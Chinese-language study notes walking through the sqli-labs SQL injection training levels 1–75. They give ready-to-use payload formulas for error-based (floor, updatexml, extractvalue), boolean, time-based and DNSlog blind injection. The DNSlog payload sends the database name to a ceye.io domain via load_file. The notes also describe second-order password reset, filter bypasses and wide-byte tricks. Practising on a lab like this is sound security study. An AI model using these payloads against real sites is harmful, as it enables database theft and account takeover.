sql-lab 通關筆記

sql-lab

less1-4

  1. 加單引號報錯得到報錯資訊

  2. 根據報錯資訊判斷閉合條件

  3. order by找欄位數

  4. union select找回顯位置

  5. 找到回顯位置正常爆數據

  6. 相同類型其他關卡

後端程式碼分析

GET方式獲取id,單引號閉合,將查詢到的數據輸出到頁面上

less5-10

  1. 加單引號得到報錯資訊

  2. 根據報錯資訊判斷閉合條件

  3. order by找欄位數

  4. union select沒有回顯位置

盲注

  1. 基於floor報錯的盲注
    原理是利用group by 處理rand 函數進行處理時,會多次對同一列進行查詢,返回duplicate key 錯誤
利用公式
union Select 1,count(*),concat(你希望的查詢語句,floor(rand(0)*2))a from information_schema.columns group by a--+
  1. updatexml報錯注入
利用公式
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+
  1. extractvalue報錯注入
利用公式
and extractvalue(1, concat(0x7e, (select @@version),0x7e))--+

updatexml和extractvalue 在MySQL 5.1.5版本及以後版本中用於對XML文件進行處理,當Xpath 路徑出錯時會報錯。
3. 基於bool判斷的盲注

利用公式
' or Length(database()) = 8--+

根據頁面是否返回正常判斷bool判斷是否正確。
4. 基於時間的盲注

利用公式
'  and if((select length(database())>7)>0,sleep(5),null) --+

sleep()和benchmark()可以用於延時注入,根據頁面響應時間判斷是否正確。
5. DNSlog平台盲注
DNSlog注入原理通過子查詢,將內容拼接到域名內,讓load_file()去訪問共享文件,訪問的域名被記錄此時變為顯錯注入,將盲注變顯錯注入,讀取遠程共享文件,通過拼接出函數做查詢,拼接到域名中,訪問時將訪問伺服器,記錄後查看日誌。可用於SQL注入中的盲注,XSS盲打,無回顯的命令執行,無回顯的SSRF,無回顯的XXE(Blind XXE)。用於SQL盲注時需要滿足secure_file_priv 為空。

利用公式
' and load_file(concat('\\\\',(select database()),'.**.ceye.io\\sql'))--+

sql-lab利用DNSlog平台注入

後端程式碼分析

GET方式獲取id,單引號閉合,如果在資料庫中查詢到相關資訊,返回特定資訊作為flag,否則返回資料庫錯誤資訊。

less11-14

post 類型聯合查詢注入

1.判斷

2.爆數據

3.後端程式碼分析
POST方式獲取用戶名和密碼,單引號閉合,並將查詢的數據顯示在頁面上。

post 類型盲注

1.判斷

2.爆數據

3.後端程式碼分析
POST方式獲取用戶名和密碼,單引號閉合,查詢的數據不顯示在頁面上,只顯示一個登陸成功的圖片。

less15-16

沒有錯誤回顯時,可以藉助or 1=1或者and 1=1以及order by判斷閉合方式,有查詢內容回顯時也可以藉助union select共同判斷。
沒有錯誤回顯也沒有內容回顯,不能使用報錯注入,只能使用布爾和時間盲注。

  1. 判斷閉合

2.爆數據

3.後端程式碼分析
POST方式獲取用戶名和密碼,單引號閉合,查詢的數據不顯示在頁面上,只顯示一個登陸成功的圖片,不顯示報錯資訊。

less17-22

不同注入點的注入類型

注入點在password 處

常見重置密碼等資料庫更新資料庫的情況下
1.判斷

2.爆數據

3.後端程式碼分析
POST方式獲取用戶名,然後再在更新密碼處拼合,所以注入點在password。

注入點在usagent 處

1.注入單引號閉合,不能使用連接符+連接語句,不能使用注釋符閉合。

2.後端程式碼分析
先獲取用戶名,在將ip資訊和usagent資訊插入資料庫,原查詢語句有過濾,所以沒有漏洞。

注入點在referer 處

1.注入單引號閉合,不能使用連接符+連接語句,不能使用注釋符閉合。

2.後端程式碼分析
先獲取用戶名,在將referer資訊和usagent資訊插入資料庫,原查詢語句有過濾,所以沒有漏洞。

注入點在cookie 處

1.注入單引號閉合,不能使用連接符+連接語句,不能使用注釋符閉合。

2.後端程式碼分析
前面查詢用戶的數據處做了過濾,後面又通過cookie 查詢數據,存在注入。

1.注入單引號閉合,不能使用連接符+連接語句,不能使用注釋符閉合,對注入語句進行base64編碼。

2.後端程式碼分析
主要對cookie 進行了base64編碼

less23-28a

過濾繞過

過濾注釋符

1.注入單引號閉合,不能使用注釋符,使用and 和or 閉合語句。

2.後端程式碼分析
過濾了注釋符

二次注入繞過過濾

1.註冊一個新帳號admin'#

2.修改新註冊帳號admin'# 的密碼

3.實際上修改了admin 的密碼

4.後端程式碼分析
通過注釋符更新其他用戶密碼

過濾and和or

1.雙寫繞過

2.後端程式碼分析
匹配一次並替換成空格

過濾一大堆

1.and和or雙寫繞過,單引號閉合代替注釋,括弧代替空格,盲注

2.後端程式碼分析
過濾了一大堆

less29-31

兩層服務架構,參數污染繞WAF

//blog.csdn.net/m0_54899775/article/details/122156208

less32-37

寬位元組注入

1.通過%bf或者其他ascii碼大於128的字元進行繞過

2.後端程式碼分析
addslashes函數轉換' 為'

post 類型寬位元組注入

1.將 utf-8 轉換為 utf-16 或 utf-32,例如將 '轉為 utf-16 為 � ' ,進行注入

//www.cnblogs.com/bmjoker/p/9134830.html

less38-45

堆疊注入

用戶採用PDO編程( POD(PHP Data Object))且沒有對參數進行過濾
mysqli_multi_query()函數也可以造成堆疊注入

//blog.csdn.net/weixin_42530572/article/details/106439380

1.堆疊插入一條數據。

2.後端程式碼分析
使用函數mysqli_multi_query(),可同時執行多條sql語句

post類型堆疊注入

1.堆疊插入一條數據

//bc.twsec.com.cn/sqli1/Less-42/login.php

less46-53

order by語句與limit語句的注入

order by 注入

1.報錯注入

2.後端程式碼分析
order by 後面是注入點,不能使用union select 注入,使用報錯注入或盲注

//blog.csdn.net/m0_54899775/article/details/122202855

less54-75

前面的內容,練習鞏固。